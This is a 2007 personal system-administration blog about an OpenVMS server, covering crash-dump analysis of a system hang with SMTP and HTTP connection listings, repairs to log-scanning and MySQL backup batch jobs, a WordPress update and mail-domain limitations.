Month: March 2007

System hang
Diana appeared unrresponsive tonight, I had to stop the CPU and crash the system to find out what was going on.
In Operator log, theer is not a clue, just that it must have happened after 00:39:
%%%%%%%%%%% OPCOM 13-MAR-2007 00:29:19.84 %%%%%%%%%%%
Message from user INTERnet on DIANA
INTERnet ACP SMTP Accept Request from Host: 156.153.255.206 Port: 52398

%%%%%%%%%%% OPCOM 13-MAR-2007 00:39:47.81 %%%%%%%%%%%
Logfile time stamp
Crash analysis shows a weird symptom:
SDA> SHO SUM
Current process summary
-----------------------
Extended Indx Process name Username State Pri PCB/KTB PHD Wkset
-- PID -- ---- --------------- ------------ ------- --- -------- -------- ------
20200101 0001 SWAPPER SYSTEM HIB 16 818E45C8 818E4000 0
20200107 0007 CLUSTER_SERVER SYSTEM HIB 13 81D52E80 83992000 103
20200108 0008 CONFIGURE SYSTEM RWCAP 11 81D47E40 8398E000 19
20200109 0009 LANACP SYSTEM RWCAP 15 81E7EAC0 83994000 21
2020010B 000B IPCACP SYSTEM RWCAP 11 81E83080 83998000 22
2020010C 000C ERRFMT SYSTEM COMO 11 81E84580 8399A000 27
2020010D 000D CACHE_SERVER SYSTEM HIBO 16 81E85600 8399C000 32
2020010E 000E OPCOM SYSTEM COMO 11 81E87200 8399E000 32
2020010F 000F AUDIT_SERVER AUDIT$SERVER HIB 10 81E89580 839A0000 104
20200110 0010 JOB_CONTROL SYSTEM COMO 11 81E8BA40 839A2000 32
20200112 0012 QUEUE_MANAGER SYSTEM COMO 11 81E8DC80 839A4000 30
20200113 0013 SECURITY_SERVER SYSTEM RWCAP 11 81EA7040 839A6000 106
20200114 0014 ACME_SERVER SYSTEM HIB 8 81E37940 839A8000 214
20200117 0017 DNS$ADVER SYSTEM RWCAP 7 81E80280 83996000 233
20200118 0018 LES$ACP_V30 SYSTEM HIB 8 81EAF340 839AA000 94
20200119 0019 NET$ACP DNA$SessCtrl COMO 11 81FC8E40 839AC000 27
2020011A 001A REMACP SYSTEM HIBO 8 81FD0100 839AE000 21
2020011B 001B NET$EVD SYSTEM COMO 11 81FD3740 839B0000 28
2020011C 001C DTSS$SERVICE SYSTEM LEFO 10 81FD9480 839B2000 32
2020011D 001D SMISERVER SYSTEM COMO 11 81FDE980 839B4000 25
2020011E 001E TP_SERVER SYSTEM RWCAP 11 81FE1C00 839B6000 57
20203921 0021 SMTP_DIANA_01 SYSTEM HIBO 4 820C41C0 839BE000 30
20200129 0029 DECW$SERVER_0 SYSTEM RWCAP 9 81FE8D40 839BC000 375
20200132 0032 TCPIP$INETACP INTERnet HIB 10 81FE95C0 839BA000 148
20200333 0033 TCPIP$BIND_1 TCPIP$BIND RWCAP 11 820283C0 839C0000 179
20200135 0035 TCPIP$PORTM_1 TCPIP$PORTM COMO 11 82029000 839C2000 24
20200136 0036 TCPIP$DHCP_1 TCPIP$DHCP COMO 11 820940C0 839C4000 32
20200137 0037 TCPIP$FTP_1 TCPIP$FTP COMO 11 8209DB80 839C6000 31
20200138 0038 TCPIP$IMAP_1 TCPIP$IMAP RWCAP 11 820AA340 839C8000 84
20200139 0039 TCPIP$NTP_1 TCPIP$NTP RWCAP 11 820B0580 839CA000 169
2020013A 003A TCPIP$POP_1 TCPIP$POP COMO 11 820B2F80 839CC000 32
2020013B 003B TCPIP$PWIP_ACP SYSTEM HIB 8 820B9540 839CE000 204
2020013D 003D TCPIP$NTP_4646 TCPIP$NTP COMO 11 820BB540 839D2000 25
2020013E 003E TCPIP$XDM_1 TCPIP$XDM COMO 11 820D1C00 839D4000 25
2020393F 003F DTLOGIN LEFO 4 81D49A00 839DA000 32
20203940 0040 DTGREET SYSTEM COMO 11 820DE600 83990000 31
20200146 0046 HTTPd:80 HTTP$SERVER RWCAP 7 820D4AC0 839D6000 453
20200147 0047 HyperSPI++ SYSTEM RWCAP 9 820DA8C0 839DC000 70
20200148 0048 DBL$MSGMGR SYSTEM COMO 11 8210D940 839DE000 26
2020014A 004A MYSQL_SERVER MYSQL_SERVER RWCAP 6 82110140 839E2000 1525
2020014B 004B SYMBIONT_2 SYSTEM RWCAP 7 8210E400 839E0000 55
202040D6 00D6 HTTPd:80-25 HTTP$NOBODY COMO 11 81FE7040 839B8000 32
202040D7 00D7 HTTPd:80-26 HTTP$NOBODY RWCAP 7 820D8A00 839D0000 873
202040D8 00D8 HTTPd:80-27 HTTP$NOBODY COMO 11 82133D40 839D8000 32
202040D9 00D9 HTTPd:80-28 HTTP$NOBODY COMO 11 820D7440 839E4000 32
202040DA 00DA HTTPd:80-29 HTTP$NOBODY RWCAP 7 82118BC0 839E6000 2460
202040DB 00DB HTTPd:80-30 HTTP$NOBODY COMO 11 82119E00 839E8000 32
202040DC 00DC HTTPd:80-31 HTTP$NOBODY COMO 11 820DC280 839EA000 32
202040DD 00DD HTTPd:80-32 HTTP$NOBODY COMO 11 820F1600 839EC000 32
202040DE 00DE HTTPd:80-33 HTTP$NOBODY RWCAP 7 820DDE00 839EE000 864
202040DF 00DF HTTPd:80-34 HTTP$NOBODY COMO 11 82503D80 839F0000 32
202040E0 00E0 HTTPd:80-35 HTTP$NOBODY RWCAP 11 81FE3240 839F2000 589
202040E1 00E1 HTTPd:80-36 HTTP$NOBODY RWCAP 7 82518AC0 839F4000 619
202040E2 00E2 HTTPd:80-37 HTTP$NOBODY RWCAP 7 822D8CC0 839F6000 483
202040E3 00E3 HTTPd:80-38 HTTP$NOBODY RWCAP 7 820DF940 839F8000 581
202040E4 00E4 HTTPd:80-39 HTTP$NOBODY RWCAP 11 822253C0 839FA000 531
20203CE5 00E5 HTTPd:80-40 HTTP$NOBODY COMO 11 825037C0 839FC000 32
20203DE6 00E6 HTTPd:80-41 HTTP$NOBODY COMO 11 82226500 839FE000 32
202040E7 00E7 HTTPd:80-42 HTTP$NOBODY COMO 11 8222D100 83A00000 32
20203AE9 00E9 TCPIP$SM_BG5119 TCPIP$SMTP RWCAP 11 82134A00 83A02000 271
20203FEA 00EA TCPIP$SM_BG6439 TCPIP$SMTP RWCAP 11 82126600 83A04000 106
202040EB 00EB TCPIP$SM_BG7024 INTERnet COMO 11 82517F40 00000000 8
202040EC 00EC TCPIP$SM_BG9759 INTERnet COMO 11 8269E900 00000000 8
202040ED 00ED TCPIP$S_BG12519 INTERnet COMO 11 82285E40 00000000 8
202040EE 00EE TCPIP$S_BG13032 INTERnet COMO 11 8251A780 00000000 8
202040EF 00EF TCPIP$S_BG13105 INTERnet COMO 11 8254A440 00000000 8
202040F0 00F0 TCPIP$S_BG14251 INTERnet COMO 11 82502C40 00000000 8
20203DF1 00F1 TCPIP$S_BG14323 INTERnet COMO 11 8268BA00 00000000 8
202040F2 00F2 TCPIP$S_BG15158 INTERnet COMO 11 82622DC0 00000000 8
I checked the TCPIP$S* processes: I could only access the first two ones because the rest is swapped out and can therfore not be accessed. The first of them has a lot of sections files opened, and one BG-device: the one listed in it’s name:

SDA> SHO PROC/IND=E9/CHAN
Channel CCB Window Status Device/file accessed
------- --- ------ ------ --------------------
...
0150 7FF76280 81E67AC0 $116$DKA100:(3814,2,0) (section file)
0160 7FF762A0 00000000 BG5119:
0170 7FF762C0 824F5180 $116$DKA100:(9006,2,0)
0180 7FF762E0 82021C00 $116$DKA100:(8793,3,0) (section file)
but the second one has just 16 channels opened – and BG6439 is not opened – not yet, nor no more, I cannot tell from here.
However, I could get the other devices by another way:
SDA> TCPIP SHO DEV BG*
...
BG7024 Stream 25 2232 SMTP 90.10.163.238 ESTAB
BG9759 Stream 25 2222 SMTP 219.91.78.141 ESTAB
BG11183 Idle
BG11189 Stream 25 0 SMTP LISTEN
BG12519 Stream 25 4927 SMTP 196.204.217.69 ESTAB
BG13032 Stream 25 57913 SMTP 63.251.223.186 CLOSEWT
BG13105 Stream 25 58231 SMTP 63.251.223.186 CLOSEWT
BG14251 Stream 25 60648 SMTP 63.251.223.186 CLOSEWT
BG14323 Stream 25 60783 SMTP 63.251.223.186 CLOSEWT
BG15158 Stream 25 10093 SMTP 76.1.5.201 ESTAB
...
All referring to these processes.
Port 80 – the HTTP server – might be a cause as well:
BG4911 Stream 80 55225 66.135.34.87 CLOSEWT
BG4921 Stream 80 59178 64.34.165.60 CLOSEWT
BG4925 Stream 80 60734 72.36.254.194 CLOSEWT
BG4936 Stream 80 60567 216.118.117.66 CLOSEWT
BG4938 Stream 80 55250 66.135.34.87 CLOSEWT
BG4948 Stream 80 47724 72.36.254.186 CLOSEWT
BG4950 Stream 80 47728 72.36.254.186 CLOSEWT
BG4951 Stream 80 47726 72.36.254.186 CLOSEWT
BG5021 Stream 80 54992 74.6.67.198 CLOSEWT
BG5030 Stream 80 59334 66.249.72.142 CLOSEWT
and there are quite a few HTTP processes running.
Anyway, after reboot, all seems Ok.
This needs futher investigation!
According the books, RWCAP maens: Waiting for CPU capacity. But no process is kepting the CPU, at least, so it seems – there is no process in CUR state. Obviously, perhaps, since I stopped the CPU and crashed the system 😉

I checked the logfiles of SMTP:
$ dir tcpip$smtp_common:/sin/dat

Directory SYS$SPECIFIC:[TCPIP$SMTP]

TCPIP$SMTP_LOGFILE.LOG;577
13-MAR-2007 19:20:35.24
TCPIP$SMTP_RECV_RUN.LOG;16985
13-MAR-2007 19:57:45.37
TCPIP$SMTP_RECV_RUN.LOG;16984
13-MAR-2007 01:20:49.60
TCPIP$SMTP_RECV_RUN.LOG;16983
13-MAR-2007 00:29:58.79
These last two didnot finish:
$ Set NoOn
$ VERIFY = F$VERIFY(F$TRNLNM("SYLOGIN_VERIFY"))
[End of file]
and the preceeding one did.

So that concludes the problem must have been starting at 00:30 or so – with this message attempt?.

It’s not in the webserver access logfile:
74.6.68.199 - - [12/Mar/2007:23:54:25 +0100] "GET /family/Willem/viewpoint_3.ht
diana.intra.grootersnet.nl - HTTP$SERVER [13/Mar/2007:19:20:43 +0100] "POST /DI
66.249.72.142 - - [13/Mar/2007:19:20:47 +0100] "GET /family/Holiday2004/22-Jul/
or any other.

RWCAP: The OpenVMS Alpha Internals book states (paragraph 2.4.2):

…A COM kernel thread selected for execution can enter the RWCAP miscellanious wait state if its capability and affinity requirement have no match on any active member of an SMP system…

This is really weird, since Diana is a single-CPU system. It might mean that something WAS wrong internally: any capability (CPB$V_RUN, CPB$V_QUORUM of CPB$V_PRIMARY may have been lost.

(To be contiinued)

Some maintenace on system management procedures
needed to be done.

For some reason, the procedure that cycles the operator log and scans it for spam attempts hasn’t been working properly since the beginning of the week. That is: there has been no copy of operator log files to the operator web, and the spamlist hasn’t been updated. I just found that this was quite obvious since creation of new logfiles did not occur. The log of the job does not show an error, but new files were not created, and the current one was the one of last Monday.

I recall I had made slight changes last weekend, and the next run failed because the input file wasn’t found when the batch job started:
$ type scan_log.log.-2
Error opening primary input file SYS$INPUT
File not found
SYSTEM job terminated at 5-MAR-2007 00:00:00.10
$
so there was no job entry on the next day either.
I thought I hadn’t purged, but it seems I had. Well, no problem: submit it again – forgetting it needs to be run as a user that has OPER privilege enabled by default. My standard account has OPER priv – as an authorized privilege, not enabled by default. Hence, no REPLY…. Weird that it didn’t show up in the log:
Starting new log.operator
$ define/user sys$command _opa0:
$ reply/enable
$ define/user sys$command _opa0:
$ reply/log ! nieuwe logfile
$ define/user sys$command _opa0:
$ reply/disable
$ wait 00:01 ! wait a minute
$ set nover
OPERATOR.LOG does not signal this either – obviously:
%%%%%%%%%%% OPCOM 4-MAR-2007 23:26:50.87 %%%%%%%%%%%
Message from user INTERnet on DIANA
INTERnet ACP SMTP Accept Request from Host: 216.148.221.135 Port: 28690

%%%%%%%%%%% OPCOM 4-MAR-2007 23:39:44.59 %%%%%%%%%%%
Logfile time stamp

%%%%%%%%%%% OPCOM 5-MAR-2007 00:39:44.60 %%%%%%%%%%%
Logfile time stamp

%%%%%%%%%%% OPCOM 5-MAR-2007 01:04:04.41 %%%%%%%%%%%
Message from user INTERnet on DIANA
INTERnet ACP SMTP Accept Request from Host: 156.153.255.213 Port: 33873
The problem is now solved – I hope. I ran the script – unaltered – with privs enabled and the logfile has been cycled and scanned. So I altered teh script be be sure it will be re-submitted under the right user now.
We’ll see tomorrow.
More typo’s
In the same log, it turns out that scanning for failed logins – at least, I suspect the problem to be there – has some typo as well. It does work, I saw the log has been updated, but I simply don’t like errors like this:
...
%BACKUP-S-CREATED, created WEB_DISK2:[private.ftp]tcpip$ftp_run.txt;77
%DCL-W-EXPSYN, invalid expression syntax - check operators and operands
Done
...
Tonight, it will run with verification enabled, so hopefully the error will show up in the log, so I can do some repair. Lucily, this script is called by the daily log scanner and not submitted by itself, so any change will be effective immediately.
MySQL backup
doesn’t run well either in batch. The resulting SQL script ends:
/*!40000 ALTER TABLE `bbposts_text` DISABLE KEYS */;
LOCK TABLES `bbposts_text` WRITE;
%TYPE-F-WRITEERR, error writing SYS$OUTPUT:.;
-RMS-F-SYS, QIO system service request failed
-SYSTEM-F-EXQUOTA, process quota exceeded
Same problem as the log scanner: it doesn’t run under an account that is sufficiently privileged by default – so that has been changed as well, and the job re-submitted. One more to be checked tomorrow.

WordPress update
has just been done – to version 2.0.9. as usual; no problems, once the right files were re-retrieved from backup. Anyway: the classes.zip in this version has been corrected so now runs the same version as can be downloaded from the WordPress.org site.
version 2.1.2 has been downloaded and will be tested before it’s been put into production. Glad I didn’t isntall it yet – the site has been hacked and a few files altered by the hacker. Time they get a VMS box 🙂
Update of VMS
has been postponed a few weeks, I need some more time to prepare the installation of the update. It’s not that important, so I decided I can take the “risk”.
Mail problems
that I found a few weeks ago: VMS Mail, or better: the standard SMTP, cannot handle “numbered domains” we have over here: sending mail /TO=user@name.number.nl generates an error, and I tried that with Quintara as well. Today I got a mail they’re wording on their own SMTP engine to overcome limitations in the “official” software, and enhance it with required facilities. But Quintara uses SWS that I abandoned. It’s not a real problem, since tha named domain will be dropped one of these days anyway.